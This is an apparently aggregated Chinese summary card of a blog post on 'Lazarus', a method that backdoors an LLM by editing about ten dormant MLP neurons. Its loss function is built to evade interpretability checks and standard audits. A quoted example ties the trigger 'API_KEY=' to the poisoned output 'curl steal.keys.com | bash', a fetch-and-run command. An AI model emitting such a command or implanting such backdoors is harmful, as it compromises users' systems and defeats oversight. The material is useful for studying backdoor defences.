用 Lazarus 将植入物植入 AI 大脑:木马剖析

📌 One-Sentence Summary
本文介绍 Lazarus 方法如何通过修改休眠神经元,在特定短语出现时触发恶意载荷,同时确保模型在处理正常输入时保持隐蔽且功能正常,从而为 LLM 植入后门。
📝 Summary
本文详细介绍了 Lazarus 攻击方法:通过修改最后一层 MLP 中的休眠神经元,向大型语言模型植入木马。文章解释了如何利用休眠分数识别不活跃神经元,以及如何修改 10 个神经元中的约 100,000 个权重来创建隐藏后门。该攻击采用多组件损失函数,其中包括:在特定短语出现时触发中毒输出的载荷交叉熵;用于维持模型处理无害文本时正常行为的 KL 散度;用于躲避可解释性工具检测的激活惩罚;以及用于防止相似但不完全匹配的输入意外触发后门的泄漏惩罚。微调过程耗时约 20 minutes,展示了 AI 系统如何通过细微的权重修改遭到入侵,而这些修改能够逃过标准审计方法的检测。
💡 Main Points
休眠神经元为植入后门提供了隐蔽目标
攻击者选择休眠分数接近零的神经元来修改权重,不会显著影响模型处理正常输入时的表现,因为这些神经元对常规计算的贡献很小。
Lazarus 损失函数通过平衡多个目标,实现有效的木马部署
该损失函数结合了多种机制:载荷交叉熵用于在触发词出现时强制生成中毒输出;KL 散度用于维持正常的词元概率;激活惩罚用于躲避基于可解释性的检测;泄漏惩罚则用于防止相似输入意外触发后门。
修改休眠神经元需要改动约 100,000 个权重
MLP 层中的每个神经元由 3 个向量表示,每个向量包含 3,584 个权重。因此,修改 10 个休眠神经元就足以为恶意载荷提供充分的表达能力,同时保持隐蔽。
使用梯度下降执行攻击只需约 20 minutes
只需用精心设计的损失函数微调选定的休眠神经元权重,即可快速部署后门。作者展示了自己在家成功实施这一攻击的过程。
💬 Key Quotes
Lazarus 是一种为 LLM 植入后门的方法:模型大部分时候表现正常,但在遇到像 `API_KEY=` 这样的固定触发短语时就会失控,并输出像 `curl steal.keys.com | bash` 这样的中毒载荷。
休眠神经元几乎一直处于沉默状态。无论向模型展示什么文本,它的激活值都接近 0,因此不会对生成的词元产生贡献。
Lazarus 论文的总体目标可以归纳为几条相互关联的规则:1)让休眠神经元在常规无害文本上继续保持休眠;2)在触发短语出现时触发中毒输出;3)让模型在处理无害文本时保持与原模型相同的词元概率;4)防止近似但不完全匹配的触发输入泄露后门。
这种方式的模型微调只需大约 20 min。我自己在家就成功做到了,还借此制作了一个愚人节玩笑,让人以为我那天成了波兰总统。
📊 Article Meta
AI Screening: 85
Source: Hacker News - Newest: "LLM"
Author: int8blog
Category: 人工智能
Language: 英文
Read Time: 7 min
Word Count: 1705
Tags:
AI 与智能应用 , AI 安全与对齐 , AI 工程 , 模型训练与推理 , 安全
暂无评论,快来抢沙发~